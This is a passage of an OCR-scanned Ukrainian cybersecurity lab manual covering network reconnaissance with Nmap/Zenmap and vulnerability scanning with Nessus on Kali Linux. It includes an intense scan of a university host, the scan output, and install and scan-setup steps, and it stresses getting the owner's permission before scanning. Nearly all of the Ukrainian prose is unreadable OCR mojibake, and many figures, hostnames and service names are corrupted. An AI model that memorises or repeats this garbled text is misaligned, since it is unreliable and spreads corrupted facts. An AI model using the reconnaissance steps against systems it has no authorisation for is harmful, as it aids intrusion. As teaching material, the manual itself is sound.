hitp @ 5 tcp open  smtp Postfix smtpd
imap @ 33 tcp open  domain ISC BIMD 9.8.1-P1
nping-echo @ =0 tcp open  http Apache httpd 2.4.18 ((FreeB5D) PHP/53.6.19)
pop3 @ 10 tep open  pop3 Courier pop3d
smitp @ 143 tep open  imap Courier Imapd (released 2011)
—_— @ 199 tep OpeEn  SMux Linux SMMP multiplexer
ssh
tcpwrapped
Filter Hosts &

Pucynok 2.7 — Bxiagka “Port/HoStS” — mepeitik BifHOIIICHD BIKPUTHX MOPTIB JI0

XOCTIB
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Zenmap - O X
Scan  Tools Profile Help
Target: | kntu.krua ~ | Profile: | Intense scan | |Scan| | Cancel

Cormmand: | nmap -T4 -A -v kntu.kr.ua

Hosts Nmap Qutput Ports / Hostd) Topology BHost Details  Scans

Service - Hosts Viewer | Fisheye | Controls Legend | Save Graphic
Y’ g P
domain
http Rintuirus (195.220.140.114)
ima
P 195.230.140.90

nping-echo
ping h53.212-1-125 ulrpack net
pop3

dtel-ix.infocom.us
smitp

-ix. kyivstar.net

SMIUK
csh 48-155-57-252 broadband kyivstar net
tepwrapped

ivstar-swcl83858-1agl04518.ip twelveB8-cust. net
war-b3-link.ip. twelveS3 net

| hbg-bb3-link.ip.twelve39.net

yi-bb2-link.ip twelve®8 net
jo-b23-link.ip.twelveS9.net

linode-ie242721-sjo-b21 ip.tw

Cbs:snme.nma p.org

Filter Hosts

Pucynok 2.8 — Bxianka “Topology” — BimoOpaXkeHHS aBTOMAaTHYHO OO0y T0BAHOTO
rpaga-TomnoJiorii BiJICKaHOBaHOI 00J1aCTI MEpEexKi
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fenmap

Scan  Tools

Profile  Help

Target: | kntu.kr.ua ~ | Profile: | Intense scan

Command:

nmap - T4 -A -v kntu.kr.ua

Hosts MNmap Output Ports / Hosts Topolog Scans

R

Scan

Cancel

Service - = kntu.kr.ua (195.230.140.114)}
domain = Host Status
http State: up
imap Open ports: 7 l i
nping-echo Filtered ports: 993
pop3 Closed ports: 0
Scanned ports: 1000
smitp )
Up time: 23
s Last boot: Sun Jan 15 17:56:57 2023
zch
tcpwrapped =i
piEpp IPvd:  195.230.140.114
IPwb: Mot available
MAC: Mot available
= Hostnames
Mame - Type:  kntu.kr.ua - user
Mame - Type:  ns.kntu.kr.ua - PTR
=l Operating System
Mame: AVtech Room Alert 26W environmental monitor
Ports used
05 Classes
TCP Sequence
Eilter Llosts F IP I Seauence

Pucynok 2.9 — Briragka “Host Details” — naiiBaxxnusima indopMartist mpo MoTOYHUH

XOCT
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= Zenmap

Scan Tools Prefile Help

Target | kntu.kr.ua «~ | Profilet | Intense scan ~| |Scan| |Cancel

Command: | nmap -T4 -A -v kntu.kr.ua

Services Mmap Output Ports / Hosts  Topology Host Detail

Status  Command

05 4 Host
Unsaved nmap -T4 -A -v scanme.nmap.org

A scanme.nmap.org |

! kntu.kr.ua (195.230.

Unsaved nmap -T4 -A -v kntu.kr.ua

+ Append Scan == Remnove Scan
Filter Hosts

Pucynox 2.10 — Bxiagka “Scans” — cmicok Ta cTaH cKaHyBaHb (30epeKeHo/He
30€peKEHO)
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© Zenmap — O et
Scan Tools Profile Help
Thrﬁet: kntu.kr.ua ~ | Profile: | Intense scan w Scan Cance

Command: | nmap - T4 -A -v kntu.kr.ua
L]

Services Mmap Output  Ports / Hosts  Topelegy Host Details Scans

0% 1 Host nmap -T4 -A -v kntu.kr.ua ~ Details
6] scanme.nmap.org | cpe:fo:linux:linux_kernel:3.2.@ -
L) kntukr.ua (195.230. Aggressive 05 puesses: AVitech Room Alert 26W environmental monitor (98%), FreeBsD

18.1-RELEASE (89%), Epson Stylus Pro 488 printer (88%), MNetgear WGRG14v7 wireless
broadband router (86%), Blue Coat PacketShaper appliance (85%), Tomatoc 1.27 - 1.28
{(Linux 2.4.28) (85%), Linux 3.2.8 (85%)

Mo exact 05 matches for host (test conditions non-ideal).

Uptime guess: @.88@ days (since Sun Jan 15 17:56:57 2@823)

Network Distance: 7 hops

TCP Seguence Prediction: Difficulty=264 (Good luck!)

IP ID Sequence Generation: Busy server or unknown class

Service Info: Host: mail.kntu.kr.ua; 0Ss: FreeBSD, Linux; CPE: cpe:/f
o:freebsd:freebsd, cpe:/o:linux:linux_kernel

TRACEROUTE (using port 88/tcp)

HOP RTT ADDRESS

2.88 ms 192.168.0.1

3.88 ms 46-185-57-252.broadband.kyivstar.net (46.185.57.252)
22.88 ms dtel-ix.kyivstar.net (193.25.180.88)

22.88 ms dtel-ix.infocom.ua (193.25.186.231)

24.88 ms h93,.212-1-125.ukrpack.net (212.1.125.93)

24.88 ms 195.236.146.98

25.88 ms ns.kntu.kr.ua (195.230.148.114)

= I SR W )

NSE: Script Post-scanning.
Initiating NSE at 17:57
Completed MSE at 17:57, ©.88s elapsed
Initiating NSE at 17:57
Completed NSE at 17:57, 8.88s elapsed
Initiating NSE at 17:57
Completed MSE at 17:57, 9.88s elapsed
Read data files from: C:%Program Files (x86)%Nmap
05 and Service detection performed. Please report any incorrect results at https://
nmap.org/submits .
Mmap done: 1 IP address (1 host up) scanned in 44.99 seconds
> Raw packets sent: 2889 (95.648KB) | Rcwd: 45 (2.823KB)

Filter Hosts

Pucynok 2.11 — IMons “Target”, “Profile”, “Command”

Ha Pucynky 2.9 no3HaueHi (4epBOHUM MapKepOM) MOJIS:

— “Target” — Bu3Havae MiIb, MmO Oyae MpockaHOBaHO. Hampukian, SKIIo
HeoOXigHO mpockanyBaTu jmiamazoH Bix 10.10.10.0 mo 10.10.10.255, moxHa
BCTaHOBUTH 1iek mapametp y 10.10.10.0/24.

— “Profile” — Bu3nauae sikuii mpodisp Oyme BUKOPUCTAHO ISl CKaHYBaHHS.
[Tpodini moxxkHa abo CTBOPIOBATH CAaMOCTIIHO, a00 BUKOPUCTOBYBAaTH icHytoul. [licis
BHOOPY mpodisis Horo psaok Oyae po3miieHo y mose “Command”.

— “Command” — Bu3HaYa€e KOMaHIHUN PSAIOK, IKHil OyJe BUKOHAHO B MPOIIECi
CKaHyBaHHA. 1Oro MO)KHa 3MiHHTH, SIKINO, HAIpPHKIAN, NEeBHUI mpodins Oyme
BHKOPHCTAHO JIMIIIE K OCHOBY ITOJABIIIONO CKaHYBaHHS.
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3aBnaHHA:

CkIacTé XapaKTEepHCTUKY KOMIT'IOTEPIB Ta TOMOJOTIYHY MaIy MEpPEexi,
BUKOPUCTOBYIOUM iHCTpymMeHTH Nmap/Zenmap a6o inmi. OkpemMo 3a3HAYUTH
KOMaH/y, TIOSICHUTA BIUIMB KO>XKHOI BHUKOPHCTAHOI OIIlii Ha poOOTy mporpamu. Y
XapaKTEPUCTUII KOMIT FOTEPiB MMOBUHHI OYTH BUKJIJICH1 HACTYIIHI TUTAHHS:

— BUIKPHUTI MTOPTH;

— 3amyIleH] CepBICH;

— Bepcii onepamiiHuX CUCTEM;

— HaJaHl MPUITYIIEHHS — K1 CepPBICK MOXYTh OyTH 3alyIIeHI Ha BIAKPUTHUX,
ajie He BU3HAYCHHX MPU CKaHyBaHHI MOPTax;

— KOPOTKHH OIKC CEePBiCiB, 110 3alyIICHI B MEPEXi;

— JIeKUIbKa (SKIIO €) BPa3JIMBOCTEH KOXXHOTO 3 CEpBICIB, IIO 3amylIeHO Ha
X0cTax, 3a iHdopmalliero HalioHaIbHOT 0a3u BpasznuBocter CIIIA — nvd.nist.gov.

Pe3ynbrar ckanyBanHs NMmap 3 KoMaHI010 3allyCKy J0JaTH 0 3BITY.
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Jla6opaTopna podora Ne 3

Tema: JlocmipkeHHS Bpa3iMBOCTEH CUCTEeMH ab0 Mepexi 3a JOIMOMOTOI0
CIIel1aJIi30BaHOI0 CKaHepa Bpa3auBocTel — Nessus.

Meta: BuszHauuTu Ta MPOBECTH aHaji3 BPA3JIMBOCTEH 13 BHKOPUCTAHHSIM
ckaHepy Nessus.

Teopernuni Bitomocri

36ip iHdopmariii — oauH 13 HAWTOJIOBHINIUX Ta BIAMOBIMAIBHININX €TaIliB
MPOBEJCHHS JOCITIKEHHS 3aXHIIEHOCTI KOMIT IOTEPHOI CHCTEMHU abo Mepexi; BiH,
Haifuacrime, € 1 HaWgoBmIUM. IcHye sik Oarato MeToAiB, Tak 1 Oarato 3aco0iB
(IHCTpYMEHTIB) JJIsl pOBeIeHHs 300py HeoOx1HO1 1Hpopmarlii. KoxxHUIl IHCTpyMEHT
BUKOPUCTOBYE CBIA Hablp METOJIB OCHIPKEHHS CHCTEM, a KOXHUH METO]
HaIpaBJIeHO Ha MeBHY o00yacTh cucteMu. Ckanep Nmap mae Tyke HIMPOKHM CIIEKTP
3aCTOCYBaHHS, BIH JIO3BOJII€E BHSIBUTH JESKI BPa3JIMBOCTI CHUCTEMH, allé HE €
CIeliaJli30BaHUM Yy Il Taly3l JAOCHIKeHb. Y TOM ke yac, 0araro CIelialicTiB 3
1H(pOopMaIiitHOT 6e31eKu po3po0IsSIOTh CBOT IHCTPYMEHTH, IO CHEIiaIbHO CTBOPEHI SIK
3aco0M  JOCHIDKCHHS  Bpas3lUBOCTell — ckaHepu  BpasnuBocTteit (vVulnerability
scanners). OqHUM 3 HAUTIOTYKHIIIIUX TaKKUX 3ac001B € Nessus.

V wmiit mabopatopHiii poOOTI HEOOX1THO BUKOHATH IHCTAIALIIO MTAaKeTy Nessus Ha
MOMNEpeIHbO BCTaHOBJIEHY cucteMy Kali Linux 1 BHKOHaTH CKaHyBaHHS IE€BHOI
KOMIT'FOTEPHOT CcHCTeMH a0o0 Komil'ioTepa (mepea CKAHYBAaHHSAM 000B’SI3KOBO
OTpUMAaNTe J03BLI Bil BJaCHMKA CHCTeMH 200 Mepe:Ki!), pe3ynbTaTh CKaHyBaHHS
chopMyBaTH y 3BiT, 3MICT 3BITY pO3’SICHEHO Y 3aBJaHHI J0 1i€] 1Ta00paTopHOi pOOOTH.

Jlnst  BCTAHOBJICHHS TAKETy 3aBaHTaXTe Horo 3 OQIUIHHOTO CalTy
https://www.tenable.com/ (morouna CTOpIHKa 3aBaHTaKCHHS
tenable.com/downloads/nessus). O6epith Bepcito makety mist Debian Ta HeoOXigHy
po3psaHicTh. Ilicma 3aBaHTaXeHHS BIAKPUATE KOHCOJIb 3 TMpaBaMu CyIep-
KOpHUCTyBaua (root) Ta TEpelaiTh y MankKy 3 TakeToM. BCTaHOBIEHHS MakeTy
3MIIACHIOETHCS 32 JOMOMOIOI0 KOMAH/IU:

- dpkg -i <im’'g abo miugax OO BamWoOTo InakeTy>.deb.

[Ticyis BcTaHOBJICHHS Y KOHCOJI Oy/e, mpuOim3Ho, HacTymHe (Pucynok 3.1):
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https://www.tenable.com/

root@kali: /home/kali/Downloads

File Actions Edit View Help

~

/home/kali/Downloads

/home/kali/Downloads

/home/kali/Downloads
-1 Nessus-10.4.2-debian9_amd64.deb

Selecting previously unselected package nessus.
(Reading database ... 523483 files and directories currently installed.)
Preparing to unpack Nessus-10.4.2-debian9_amd64.deb
Unpacking nessus (10.4.2)
Setting up nessus (10.4.2) ...
HMAC : (Module_Integrity) : Pass
SHA1 : (KAT_Digest) : Pass
SHA2 : (KAT_Digest) : Pass
SHA3 : (KAT_Digest) : Pass
TDES : (KAT_Cipher) : Pass
AES_GCM : (KAT_Cipher) : Pass
AES_ECB_Decrypt : (KAT_Cipher) : Pass
RSA : (KAT_Signature) : RNG : (Continuous_RNG_Test) : Pass
Pass
ECDSA : (PCT_Signature) : Pass
ECDSA : (PCT_Signature) : Pass
DSA : (PCT_Signature) : Pass
TLS13_KDF_EXTRACT : (KAT_KDF) : Pass
TLS13_KDF_EXPAND : (KAT_KDF) : Pass
TLS12_PRF : (KAT_KDF) : Pass
PBKDF2 : (KAT_KDF) : Pass
SSHKDF : (KAT_KDF) : Pass
KBKDF : (KAT_KDF) : Pass
HKDF : (KAT_KDF) : Pass
SSKDF : (KAT_KDF) : Pass
X963KDF : (KAT_KDF) : Pass
X942KDF : (KAT_KDF) : Pass
HASH : (DRBG) : Pass
CTR : (DRBG) : Pass
HMAC : (DRBG) : Pass
DH : (KAT_KA) : Pass
ECDH : (KAT_KA) : Pass

RSA_Encrypt

RSA_Decrypt :
RSA_Decrypt :

(KAT_AsymmetricCipher) : Pass
(KAT_AsymmetricCipher) : Pass
(KAT_AsymmetricCipher) : Pass

INSTALL PASSED
Unpacking Nessus Scanner Core Components ...

- You can start Nessus Scanner by typing /bin/systemctl start nessusd.service

- Then go to https://kali:8834/ to configure your scanner

/home/kali/Downloads

Pucynok 3.12 — IToBigomMyIeHHS BIaJIOTO BCTAaHOBJICHHS Nessus

[Ticyist BCTaHOBJIEHHS 3aIlyCTITh CKaHEP 3a JOMOMOT0I0 KOMaH]IM 1110 BKa3aHa y
BaIlii kKoHcoul a Ha PucyHok 3.1 mo3HaueHa 4epBOHUM MapKEpPOM.

[Ticnst Toro sIK cepBic Oyie 3amyIeHo, BIAKpUTe Be0-0pay3ep Ta BBEIITh y HOTO
aZpecHul PAIOK ajpecy, 10 BKa3aHa y Balllik KOHcou, a Ha Pucynky 3.1 BuaiiaeHO
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CUHIM MapKepoM, MOTIiM HaTUCHITH Enter. ko Be6-Opay3ep Bkake Ha HEMOKITUBICTh
BCTAHOBJICHHSI 0€3MEeYHOro 3’€/IHaHHS (32 MPOTOKOJIOM https) — monmaiiTe BUHATOK y
Oesmnexy Bamioro opaysepy. CtapToBy cTopiHKY Nessus 300pakeHo Ha PucyHok 3.2.

( Ynessus

Welcome to Nessus

Choose how you want to deploy Nessus, Select a
product to get started.

@ nNessus Expert Trial

@ nNessus Professional Trial
@ nNessus Expert

. Nessus Professional

@ Nessus Manager

o Nessus Essentials

@ Managed Scanner

Continue

Otenable

Pucynok 3.2 — CtaproBa ctopinka Nessus

Ob6epith “Nessus Essentials” (Ge3komToBHa Bepcisi Ui OCBITSH), HATUCHITH
“Continue”. J{ami BBeITh IM s Ta aJIpecy €JIEKTPOHHOI MOIITH HOBOTO KOPUCTyBaya.
[linTBepauBIIM BBeACHI JaHi, HaTUCHITH “Email” Ta BBemiTh NiIEH3IMHUN KITIOY.
JlineH3iiiHUI KIII0Y YHIKQJIBHUM JJI1 KOXKHOTO KOPHCTyBauya 1 BiH TOCTIMHUN Ta
BIJIPABISETHCA HA TIOIITY. Horo moxHa B JTAHOMY BHWIIQJIKy BBaXKaTH KOJOM
MIATBEPKEHHS, TOMY 110 11e JiIeH3is Ha 6e3komToBHY Bepcito (Nessus Essentials),
sgKa came 1 po3paxoBaHa Ha 0a30By poOOTY 3 MPOAYKTOM Ta MITXOIUTH JJISI OCBITSH
[Ticns 1poro moyHeThest 3aBaHTakeHHs (PucyHok 3.3).
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( Ynessus

Initializing

Please wait while Nessus is initializing.

Downloading plugins...

Otenable

Pucynox 3.3 — IIporiec 3aBaHTa)KCHHS

3ayBaxTe, IO MEPIIUH 3alyCK CKaHepa MOXKE TPHBATH JIOBIO 1 MoTpedye
3’eqHaHHs 3 iHTepHeTOM. [licis 3amycky yBIHIITE A0 CBOTO OOJIIKOBOTO 3aMHCY, IO
Oyno crtBOpeHo Ha mnouatky. llpu mnepmomy 3amycky aeski (yHkuii OyayTh
JI€3aKTUBOBAH1 JIOTH, JOKW YCl TMOTPIOHI TMJIariHW HE CKOMIUTIOIThCA. Komu 1e
BiIOyIeThCs — 3 IBUTHCS BiNOBiIHE MoBigoMieHHs (PucyHok 3.4).
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Nessus Essentials [ Folde +

O G hitps://kali

Kali Linux §& Kali Tools ¢ KaliDocs M Kali Forums ¥ Kali NetHunter # Exploit-DB Google Hacking DB OffSec

{ ynessus Scans

Welcome to Nessus Essentials

ur license.

/6 addr

Targets

Submit

Pucynok 3.4 — BikHo npuBITaHHS HpHU TEPUIOMY 3aMyCKy (3’ SIBISETHCS MiCIs
MOB1JIOMJICHHSI, BU1JICHOTO YEPBOHUM MAPKEPOM )

[Ticns uporo HaTucHITE “New Scan”. Ha HOBIiil cTOpiHIll 00€piTh NOTPIOHUMI
m1abJIOH CKaHyBaHHS. 3arajioM, CKaHyBaHHs y Nessus MOAUISIOTECS Ha TPU TUIIH:

— “Discovery”: MICTUTh IIA0JOHM, MO IIYKAIOTh XOCTH Ta BIAKPUTI MOPTHU
(anasior — MepexxeBuil ckanep moptiB Nmap);

— “Vulnerability”: wmicTuTh ma0I0OHM, MO CKAHYIOTh 3aJaHl CHCTEMH Ha
HasIBHICTh BPA3JIMBOCTEW, MHOXKMHA SKMX BU3HAYAETHCS MIAKIIOYEHUMH IJIariHAMU;
Ma€ B OCHOBI CKaHEp BIKPUTHUX TOPTIB;

— “Compliance”: MicTUTh MmIAOJOHW IS TEPEBIPKH  BIAMOBITHOCTI
CUCTEM/MepexX MEBHUM CTaHIapTaM; BOHU € Ha10y10BOIO JIJIsl CKaHEepa BPa3IUBOCTEH,
MaloTh J1y’K€ By3bKe MPU3HAUYECHHS Ta JOCTYIIHI y mpodeciitHiil Bepcii.

CkaHyBaHHS B MEXax OJHOTO THITY BiJPI3HSAIOTHCS HAJAIITyBAaHHSIM Ta
miaKIroYeHuMu  Toiarinamu.  “Advanced Scan” nae MOBHUM KOHTPOJb 1Jisg 3MiH
HaJalITyBaHb Ta MIJKIIOUYEHHS OKPEMHUX IUIAr1HIB YU CIMEMCTB IUIAriHIB.

[IpoBenemo 6azoBe ckaHnyBaHHs Mepexi. s boro HatucHITH “Basic Network
Scan” (Pucynok 3.5).
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Scan Templates

Scanner

DISCOVERY

VULNERABILITIES

Basic Network Scan

A

Credentialed Patch Audit

Tenable News

solorigate

4 ) @ CEY y

Advanced Scan Advanced Dynamic Scan Malware Scan Mobile Device Scan Web Application Tests

2 3 5

Intel AMT Security Bypass Spectre and Meltdown WannacCry Ransomware Ripple20 Remote Scan Zerologon Remote Scan

R = b @ @
L)
ProxyLogon : MS Exchange PrintNightmare Active Directory Starter Logashell LogdShell Remote Checks
: " Al fetect Scan - . : N

Pucynox 3.5 — I1labionu ckanyBaHb, 6a30Be CKaHYBaHHSI MEPEK1 BUJI1JICHE

YEPBOHUM MAPKEPOM

Jani 06epiTh Ha3BY JJIsl CKAaHYBaHHS Ta BBEIITH 111111, SIK1 PAarHeTe BiJICKaHyBaTH
HaIpukiaj: HaOlp qomeHiB (example.com), [P-aapec xoctiB (192.168.0.1) un mepex

(192.168.0.0/24). Hns
(Pucynoxk 3.6).

Settings

BASIC

DISCOVERY
ASSESSMENT
REPORT

ADVANCED

JAHOTO TMPUKIaaAy BBEIAEMO aJpecy JOKaJIbHOI Mepexi

Credentials Plugins 4

Name

Description

Folder My Scans

Targets

Upload Targets

Pucynok 3.6 — HanamryBaHHS CKaHyBaHHS
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X04 1pOTO 1 TOCTATHHO IS MOYATKy CKaHYBaHHS, BapTO 3a3HAYUTH, K CamMe
MOXKJIMBO HaJaITyBaTH CKaHYBaHHS BIJTIOBIIHO J0 MOTPEO.

Po3znin “Basic” qo3Bossie 00pat 1iii, 3arlaHyBaTH CKaHYBaHHS Ha MOTPIOHMIA
gac Ta BIJIMPABUTH JIMCT Ha €JICKTPOHHY MOIITY 31 CTAaTyCOM CKaHyBaHHS.

“Discovery” npu3HadeHUM JJIs HAJAIITyBaHHS CKaHepa BIIKPUTHUX TOPTIB.

VY poznum “Assessment” MOKHA 3a3HAUUTH, SIK camMe ITOBOJUTHCS Mij dYac
CKaHyBaHHS PI3HUX THINB IIJIeHd, YW MIIKIIOYaTUCS 10 3HAMJACHUX CEPBICIB 3a
JOTIOMOTOI0 3a3HAYEHUX OOJIIKOBUX JaHUX, UM MPOBOAUTH bruteforce araku Too.

Po3znin “Report” Binmosigae 3a 3MICT Ta A€TaIbHICTH 3BITY.

Hacamkinenps, po3ain “Advanced” MICTUTh HadamITyBaHHs, HOTPIOHI AJis
e(eKTUBHOTO CKaHyBaHHS B OKPEMHX yMOBaX (HANpWKIAd, Y MEPEXKi 3 HU3BKOIO
MPOITYCKHOIO 3/IaTHICTIO) Ta TaKi, [0 MOKYTh HAHECTH IIKOIy MEPEX1 YU CHCTEMaM.

Takox, OKpiM HalalITyBaHb, HaM JocTymHI Bkiaaku ‘‘Credentials” Ta
“Plugins”. ¥ Bkiaami “Credentials” MoxHa 1o1aTH 00IIKOBI JaH1 /1711 aBTOPHU30BAHOTO
JOCTYITY CKaHepa JI0 IEBHUX CUCTEM, III0 Ja€ 3MOTY O1IBII IITMOOKO 1X MPOCKaHYBaTH.
“Plugins’ MICTUTh MEpENTiK CIMEHUCTB IUIAriHIB, 00’ €THAHUX TIEBHOIO OCOOJIUBICTIO, SIK
TO IIIJILOBA CUCTEMAa/CEePBIC UM 0COOIMBA TEXHIKA CKaHYBaHHS.

Jlns 3amycKy CKaHyBaHHS MOXKHaA 30€perTd IrabjioH 3a JOMOMOTOI0 KHOIKH
“Save” Ta OKpeMo 3aIyCTUTHU CKaHyBaHHS Ha TOJIOBHIN CTOPIHIII, OJHAK IS TOTO, 1100
0/Ipa3y 3alyCTUTH CKaHyBaHHS, MOTPIOHO HATHUCHYTH HA TPUKYTHUK OIS KHOIKH
“Save” Ta ooparu ommiro “Launch” (Pucynok 3.7).

Pucynok 3.7 — 3amyck ckaHyBaHHs

VY cnucky Ha TOJIOBHIA CTOpIHLI 3’SBUThCS CTBOPEHE CKaHyBaHHs, 100
JI3HATUCA WOTO CTAaTyC Ta MOApOoOuIll Tpeda ABIYl HATUCHYTU Ha Hboro. CriocTepiraTu
3a CKaHyBaHHSM MOXHa y peajlbHOMY 4Yaci, Ol KOKHOTo xocta y Bkiaami “Hosts”
3a3HAYAETHCS BIJICOTOK BUKOHAHHS cKaHyBaHHs (PucyHok 3.8, uepBoHMiI Mapkep).
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Local Network Scan Configure

<

Hosts 3 Vulnerabilities 34 History 1
Filter = Q, | 3Hosts

Host Vulnerabilities v Scan Details

192.168.0.104 e Policy: Basic Network Scan
Status: Running
192.168.0.1 z Severity Base: CVS5 v3.0
Scanner: Local Scanner

192.168.0.100 Start: Today at 1:17 AM

Vulnerabilities

Critical
High
Medium
Low
Info

Pucynok 3.8 — BukonanHs ckaHyBaHHs, BIICOTOK BUKOHAHHS 7151 KO)KHOTO XOCTa
BU/JIIJIEHO YEPBOHUM MapKEPOM

Konu ckanyBaHHS 3aBepIIMTHCA, JOJATOK MaTUME BUTIIAN sIK Ha Pucynky 3.9.

LOCE” Net\NorK Scaﬂ Configure Audit Trail Launch ~ Report Export ~

¢

Hosts 3 Vulnerabilities 56 Remediations 1 VPR Top Threats (@ History 1
Filter ¥ Q | 3 Hosts

Host Vulnerabilities v Scan Details

192.168.0.104 l Policy: Basic Network Scan
Status: Completed
192.168.0.1 1 Severity Base: CVSSv3.0
Scanner: Local Scanner
e Start: Today at 1:17 AM
End: Today at 1:33 AM

Elapsed: 16 minutes

192.168.0.100 1

Vulnerabilities

Critical
High
Medium
Low
Info

Pucynok 3.9 — CkanyBaHHS 3aBEpILECHO

Axmo aBiYl HATUCHYTH Ha OyAb-SKHM 3 MPOCKAHOBAHMX XOCTIB, MaTHUMEMO
MO>KJIUBICTh MEPETJISIHYTH MOAPOOUII XOCTa, 3MIHUTH HOTO HA 1HIIWHU 31 CIIUCKY, Ta,
HAWTOJIOBHIIIE, TIEPErNISHYTH CIHCOK BPAa3JIMBOCTEH, 3a3HAYCHUX JUIsI HBOTO
(Pucynok 3.10).
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Configure Audit Trail Launch ~ Report Export ~

Local Ne k Scan /

Vulnerabilities 24
Filter «
Sev v Name & Family & Count »
MIXED Matt Johnsto... Misc.
IP Forwarding Ena... Firewalls

-—

MIXED DNS (Multiple...  DNS

MIXED SSH (Multiple..  Misc.
HTTP (Multipl...  Web Servers
SSH (Multiple...  Service detection
Nes: S¥N scanner  Port scanners
Service Detection
Device Type General

Embedded Web S...

Ethernet Card Ma...

Pucynox 3.10 — [Togpo6uili ckanyBaHHSI OKPEMOT'O XOCTa

KoHuii 13 3amucCiB y CIOUCKY € pe3yJIbTaTOM POOOTH MEBHOTO MOJYJIA, TOMY
Bpa3JIMBOCTAMHU Y TAKOMY BUIIJKy 3a3BHYail BBAXKAIOTHCS YC1 3alMCH, 1110 HE MalOTh
no3zHauku “Info”. KoxxHuii 3ammc Mae CBOIO MO3HAYKY TSHKKOCTI, Oan 3a IIKaJIOo
TSKKOCTI (IIKaja 3a3HA4a€ThCsl Yy HANAIITyBAaHHAX CKaHYBAaHHS), Ha3BY, CIMEHCTBO
IJIariHiB Ta KUIBKICTh MOSIB. BapTo maMm’sTaTé Mpo MOMIIMBICTE NOMMIJIKOBHUX
pe3ynbTariB, BimoMux e gk “‘false positives”. Uepes 11e KOXHY 3 Bpa3iuBOCTEM,
3HAMIEHUX CKaHepoM, Tpeda OKpeMo MepeBipsTH Ha AikcHICTh. KoxkHuil 13 3amuciB
MOJKY OyTH PO3TOPHYTHUM JJIs BimoOpaskeHHs AeTanbHol iHpopmariii (Pucynok 3.11).
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cal N g can / Pluge g
Local N < Scan / Plugin # J Configure  Audit Trail Launch = Report  Export ¥
’

Vulnerabilities 24

cemear  Dropbear SSH Server < 2016.72 Multiple Vulnerabilities > Plugin Details

Description

{ version in its banner, Dropb H running on the remote |

ormat string fl ts due to impro

Risk Information

Risk F. Critical

CVSS v3.0 Base Score 9.8
tacker can

exploit this t

Solution
Upgrade to Dropbear SSH v 2016.74 or later.

See Also

Output

Reference Information

Pucynok 3.11 — JletanbHa iHpopMaliist Mpo BPa3IUBICTh

[ToBepTatounch Ha OCHOBHY CTOpPIHKY 3 pe3yJbTaTaMU CKaHyBaHHS
(Pucynok 3.9), MokHa MOMITUTH LIE JEKUIbKa BKIAIOK OkpiM “Hosts”. ¥V Bkmami
“Vulnerabilities” nepesniueHi yci 3HalieH1 Bpa3IUBOCTI, 1110 /IO TOTO K 3rPYIOBaHi 3a
TemaTukow. Y Bkiaaml “Remediations” mepeniyeHi peKOMEHJaIllli AJis HIBUIKOTO
BUIPABJICHHA KpUTHUYHUX BpasznuBocTeil. Bkmagka “VPR Top Threats” mictuth
CIMCOK HAWOUIBII MPIOPUTETHUX JIJIsl BUMPABJICHHs BpasnuBoctelt (Pucynok 3.12).
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Local Network Scan

Configure Audit Trail Launch ~ Report Export ¥

Hosts 3 Vulnerabilities 56 Remediations 1 VPR Top Threats @) History 1

-

Q| 1 Actic

Action Vulns ¥ Hosts Scan Details

SSH Server < 2016.72 Multiple Vulnerabilities: Upgrade to Dropbear SSH version 2 1
rlater.

End:

Elapsed: 16 minutes

S Network Scar
Local Network Scan Configure Audit Trail Launch ~ Report Export ~

Vulnerabilities 56 Remediations VPR Top Threats () History 1

ed Threat Level: Medium

Scan Details

n more about Ten

VPR Severity Name Reasons VPR Score v

MEDIUM Dropbear SSH Server < 2016.72 Multiple V...No recorded events 5.9 _
16 minutes

SSL Medium Strength Cipher Suites Supp... Mo recorded events E1]
IP Forwarding Enabled No recorded events

Dropbear SSH Server < 2013.59 Multiple V...No recorded events
55H Server CBC Mode Ciphers Enabled No recorded events

Pucynox 3.12 — Pexomenaariii s BUNpaBieHHS KPUTUYHUX BPA3TUBOCTEH Ta
PIOPUTETHI BPa3IUBOCTI

Pe3ynpTaTi ckaHyBaHHS MiJCYMOBYIOTHCS 3a JIOOMOIOIO 3BITY. Y IpaBoMy
BEPXHBOMY KYTI 32 JJOOMOI'OI0 KHOMKHU “Report” MoKHa 3reHepyBaTH 3arajbHuid abo
JeTaNbHUI 3BIT, y SKOMY MEpeivueH] yCl 3HailIeH] Bpa3IMBOCTI JIJIsl KOXKHOTO XOCTa.

Hacamkinenp, BapTO mam’sITaTH, IO CKaHEPU BPA3IUBOCTEH JykKe AKTHBHO
BUKOPUCTOBYIOTh MEPEKY 1 BAKOHYIOTh BEJIUKY KIJIbKICTh 3aIMTIB IO XOCTIB, 1110 MOXE
BUBECTH 3 JaJy MEPEeXYy UM TEBHUM CcepBiC Ha XOCTi. Tomy 3aBXIu TOTPIOHO
y3roJ)KyBaTu MapaMeTpH CKaHyBaHHS 3 TUM, XTO Ja€ A03BLI HA CKAHYBaHHS L1, Ta Y
pa3i HasBHOCTI YYyTJIMBUX CHUCTEM/CEpBICIB CKaHYyBaTH iX OKPEMO, HAIANITOBYHOYH
CKaHyBaHHsS Ha MEHII arpeCUBHUN PEXHM pOOOTH (MEHINE MapajeibHUX 3aIlUTIB,
MEHIIIa 4YacTOTa 3aIUTiB, «0e3MEeYHUI PEKUM» TOLIO) Ta TNIAHyBaHHS HOTO BUKOHAHHS
HEe HEepoOOoUMii yac.
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3aBnaHHA:

— PosropuyTtu ckanep BpasnuBocTed Nessus, IPOBECTH CKaHYBaHHSA MEpEexi
ab0 OJIHOTO KOMIT'IOTEépa SIK MIHIMyM TpbOMa crnocobamu, 1o Hajgae Nessus;
000B’s13k0BO MpoBecTH posiupeHe (Advanced) ckaHyBaHHS.

— IopiBHsiTH pe3ynbTaTH ckaHyBaHHsS “Basic Network Scan” 3 oTpumanumu
IpY BUKOHAHHI JabopaTopHOi podoT No 2, BUBHAUUTH XMOHO 3HAiIeH] BPa3IUBOCTI,
SKIIO TaKi €; 0OIPYHTYBAaTH BUOIP.

— 3Bit “Advanced” ckaHyBaHHS MOMICTUTH y AOAATOK /IO 3BITY JIabOpaTOPHOI
pobotu. PesynbTaTam CkaHyBaHHsS HaJaTH KOPOTKY XapaKTEPUCTHKY (MO KOXKHIH 13
3HaWJEHUX Bpa3IuBOCTeH, He paxytoun “Info”).

— Y BUCHOBKY MOPIBHATH METO/I 300py 1HPOopMaItii 3 1abopaTopHOi podoTu No 2
ta Ne3, BKazaTW, 3a SKUX OOCTaBMH Ta I SKUX IIJICH CIemiagicta Kparie
BUKOPUCTOBYBATH MEPIIANA METOI, & KOJIU — APYTUH.
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JlabopaTtopna poGora Ne 4

Tema: BusHauenHs BpasznuBocTed BeO-pecypciB Ta BeO-moaatkiB. CkaHep
